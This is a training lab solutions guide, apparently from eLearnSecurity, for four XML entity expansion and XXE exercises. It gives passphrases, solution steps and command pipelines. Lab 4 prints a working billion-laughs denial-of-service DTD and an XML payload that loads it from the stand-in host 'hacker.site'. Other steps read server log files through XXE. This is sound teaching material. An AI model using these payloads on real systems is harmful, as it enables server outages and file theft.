HERA LAB

XXE LABS

LAB 8 <#CODENAME: SEEK AND DESTROY>

eLearn Security
AN INE COMPANY

eLearnSecurity has been chosen by students in 140 countries in the world
and by leading organizations such as:

hp Microsoft intel cisco AT&T verizon U.S. AIR FORCE pwc gemalto security to be free

XXE WILL CONTAIN 4 CHALLENGING LABS:

1. **Warm-up:** Lab XEE L1
2. **Easy**: Lab XEE L2
3. **Medium:** Lab XEE L3
4. **Hard:** Lab XEE L4

1. DESCRIPTION

During these labs, you will learn how to exploit **XML Entities eXpansion,** overcoming increasing difficulty levels. The initial levels are easy but fundamental to build the advanced exploitation required in the final levels.

In some levels, it might be required to mix two exploitation techniques and therefore mix XXE with XEE to reach the goal.

The solutions you will see are just a few of the many you can implement. As a suggestion, once you will finish these labs, you can try to solve them again using your way and your tools.

All labs are available at the following URL: http://info.xee.labs

2. GOAL

The main goal of these labs is to exploit an XML Entities eXpansion flaw in a login form.

The scenario is a hosting company. You have to manage to consume at least 80% of the server RAM in order to get some useful information.

3. Tool

The best tool is, as usual, your **brain**. You may also need:

- Web Browser
- Bash shell
- HTTP Proxy

SOLUTIONS

Below, you can find solutions for each task. Remember, though, that you can follow your own strategy, which may be different from the one explained in the following lab.

NOTE: The techniques to use during this lab are better explained in the study material. You should refer to it for further details. These solutions are provided here only to verify the correctness.

SOLUTIONS - LAB #1

SIMPLE XEE EXPLOITATION WARM-UP: *YOU MAKE ME LAUGH SO MUCH!*

1. VALID PASSPHRASE

The valid passphrase is `We_don't_like_DoS_attacks`

2. EXPLOITATION STEPS

- Testing the login form, you'll receive a hint that tells you to visit the `stats` path.
- Open the stats path and check the `Physical Memory percentage` status.
- Run the `Billion laughs attack` against the login parser. If the attack works properly, you'll notice an alert box with the secret passphrase.

3. TESTING COMMAND

You can find the script can by adding **/solution/exploit.sh** in the lab URL.

SOLUTIONS – LAB#2

SIMPLE XEE EXPLOITATION MIXED WITH A SIMPLE XEE EXPLOITATION:

WE DON'T FORGET HOW TO EXPLOIT XXE

1. Valid Passphrase

The valid passphrase is `The_second_level_is_done!..like_a_boss`

2. Exploitation Steps

- Testing the login form, you'll receive a hint that tells you to visit the `stats` path.
- Open the stats path and check the `Physical Memory percentage` status.
- Run the `Billion laughs attack` against the login parser. If the attack works properly, you'll notice an alert box with the instructions.
- Run an `XXE attack` to read the log file and clear some useless text

Extract the content from the result. Use *awk* or *gawk*, depends on the system.

```
gawk 'match($0, /<b>XXEME (.*)<\\\/b>\s/, m) { print m[1] }'
```

Remove the JSON escaping characters

```
sed 's/\\\//\//g'
```

3. Testing Command

You can find the script by adding **/solution/exploit.sh** in the lab URL.

XEE DoS

```
./exploit.sh
```

XXE log file extraction

```
./exploit_xxe.sh /var/www/XEE/2/LOGS/omg_a_dos.log \
| gawk 'match($0, /<b>XXEME (.*)<\\\/b>\s/, m) { print m[1] }' \
| sed 's/\\\//\//g'./exploit.sh
```

SOLUTIONS – LAB#3

SIMPLE XEE+XEE EXPLOITATION ENRICHED WITH A LITTLE BIT OF ENCODING:

WE DON'T FORGET HOW ENCODING WORKS

1. Valid Passphrase

The valid passphrase is `The_second_level_is_done!..like_a_boss`

2. Exploitation Steps

- Testing the login form, you'll receive a hint that tells you to visit the `stats` path.
- Open the stats path and check the `Physical Memory percentage` status.
- Run the `Billion laughs attack` against the login parser. If the attack works properly, you'll notice an alert box with the instructions.
- Run an `XXE attack` to read the log file and clear some useless text

Encode the log path

```
%5BLOGS%5D/omg_%C3%A0_dos.log
```

Extract the content from the result. Use awk or gawk, depends on the system

```
gawk 'match($0, /<b>XXEME (.*)<\\\/b>\s/, m) { print m[1] }'
```

Remove JSON escaping characters

```
sed 's/\\\//\//g'
```

Decode Unicode characters

```
echo $(php -r "echo html_entity_decode(preg_replace(\"/%u([0-9a-
f]{3,4})/i\",'&#x\\1;',str_replace('\u', '%u', '$cleaned')),null,'UTF-
8');" ;
```

3. Testing Command

You can find the script by adding **/solution/exploit.sh** in the lab URL.

XEE DoS

```
./exploit.sh
```

XXE log file extraction

```
./exploit_xxe.sh /var/www/3/%5BLOGS%5D/omg_%C3%A0_dos.log
```

SOLUTIONS – LAB#4

XEE+XXE EXPLOITATIONS MIXED WITH FILTER EVASION AND CHARACTER ENCODINGS:
AH FILTERS ... ALWAYS THROW A SPANNER IN THE WORKS.

1. Valid Passphrase

The valid passphrase is `Escaping_and_evasion_like_a_boss`

2. Exploitation Steps

- Testing the login form, you'll receive a hint that tells you to visit the `stats` path.
- Open the stats path and check the `Physical Memory percentage` status.
- Run the `Billion laughs attack` against the login parser. If the attack works properly, you'll notice an alert box with the instructions.

NOTE: The server implements some filers to avoid XEE attacks. To exploit the flaw, the fastest solution is to move the `Billion laughs attack` in an external DTD file hosted on `hacker.site`, and then call it as follows:

xml payload

```
<?xml version="1.0"?>
  <!DOCTYPE results [
      <!ENTITY % EvilDTD PUBLIC "xxe"
        "http://hacker.site/evil_remote_xee.dtd">
      %EvilDTD;
  ]>
  <login>
     <username>XEEME &file;</username>
     <password>password</password>
  </login>
```

file: evil_remote_xee.dtd

```
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
```

Run an `XXE attack` to read the log file and clear useless text.

NOTE: Due to some restrictions, to prevent XEE attacks, long URLs might break the payload.To bypass this limitation, we can move the payload in another external dtd as we did before.

```
# Encode the log path

%7B%5B_%C4%BF.%C3%B2.%C4%9D.%C5%9B_%5D%7D%2F%F0%9D%95%86%E3%8E%8E%E2%80%A6
%C3%A0%E2%80%A2d%F0%9D%93%B8s.%E3%8F%92

# Extract the content from the result. Use awk or gawk, depends on the
system
gawk 'match($0, /<b>XXEME (.*)<\\\/b>\s/, m) { print m[1] }'

# Remove JSON escaping characters
sed 's/\\\//\//g'
```

3. Useful Files

- exploit.sh
- exploit_xxe.sh
- external_dos.dtd
- evil_remote_xee.dtd

4. Testing Command

You can find the script by adding **/solution/exploit.sh** in the lab URL.

XEE DoS

- *file: exploit.sh*

```
./exploit.sh
```

XXE log file extraction

- *file: exploit_xxe.sh*

```
./exploit_xxe.sh
```

SOLUTIONS

Each challenge has a folder `solution`*.*

Check out the content to retrieve some useful scripts.